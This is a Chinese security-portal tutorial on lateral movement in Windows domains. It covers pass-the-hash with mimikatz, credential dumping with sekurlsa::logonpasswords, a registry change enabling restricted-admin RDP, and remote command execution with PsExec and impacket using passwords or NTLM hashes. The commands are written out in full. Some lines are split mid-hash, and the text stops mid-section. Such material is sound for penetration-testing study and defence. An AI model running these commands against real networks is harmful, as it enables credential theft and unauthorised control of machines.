freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域内渗透 | 多种横向手法总结
2024-12-03 20:42:03
所属地 北京

前言:

在内网渗透中,域内横向移动是一种常见的攻击手法。攻击者会利用此技术,以被攻陷的系统为跳板,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产)。通过此类攻击技术,攻击者最终很可能获取到域控制器的访问权限,甚至控制整个内网的机器权限。

1、PTH

pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:

原理:

• 在 Windows 系统中,通常会使用 NTLM 身份认证

• NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)

hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LM

hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LMhash

• 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用

API 生成 hash 的过程)

这类攻击适用于:

• 域/工作组环境

• 可以获得 hash,但是条件不允许对 hash 爆破

• 内网中存在和当前机器相同的密码

微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

用法:使用mimitkaz进行pth

privilege::debug
sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

1733388127_6751675f6af431d748bbc.png!small?1733388128681

1733388137_675167699a8b35ef84237.png!small?1733388140921

得到 hash 后进行

privilege::debug

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:627782b7274e323941c9418399460d5b

1733388188_6751679cd4160eb63ecf3.png!small?1733388189586

远程桌面登录:

1733388201_675167a9d569da7d3ce06.png!small?1733388202970

1733388209_675167b13eff029fc61be.png!small?1733388210315

修改注册表:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #查询结果

利用过程

在本地计算机使用mimikatz登陆远程主机

sekurlsa::pth /user:administrator /domain:test /ntlm:627782b7274e323941c9418399460d5b "/run:mstsc.exe /restrictedadmin"

1733388221_675167bdaa1b36a9b3bbb.png!small?1733388222419

2、使用psexec横向

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

psexec 第一种:

先有 ipc 链接,psexec 需要明文或 hash 传递

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd

1733388230_675167c6d1140ba8972e7.png!small?1733388231858

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框

-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显

-u 域\用户名 -p 密码

PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

1733388284_675167fc05b2aab4924bf.png!small?1733388285422

1733388296_67516808d48884daef0d9.png!small?1733388298280

1733388306_6751681251e229b2ec10c.png!small?1733388308367

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba8854

7376818d4 ./Administrator@192.168.0.123

上面是建立在明文之上 下面 hash 下进行登录

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba8854

7376818d4 ./Administrator@192.168.0.123

出现这个错误可以使用 impacket 这个工具包下的 psexec 进行利用

python3 psexec.py -hashes ee:627782b7274e323941c9418399460d5b

./Administrator@10.10.10.152

1733388314_6751681acdbd4b0e5fb98.png!small?1733388317228

在使用 PsExec 时需要注意以下几点:

# 渗透测试 # web安全 # 系统安全 # 漏洞分析 # 企业安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录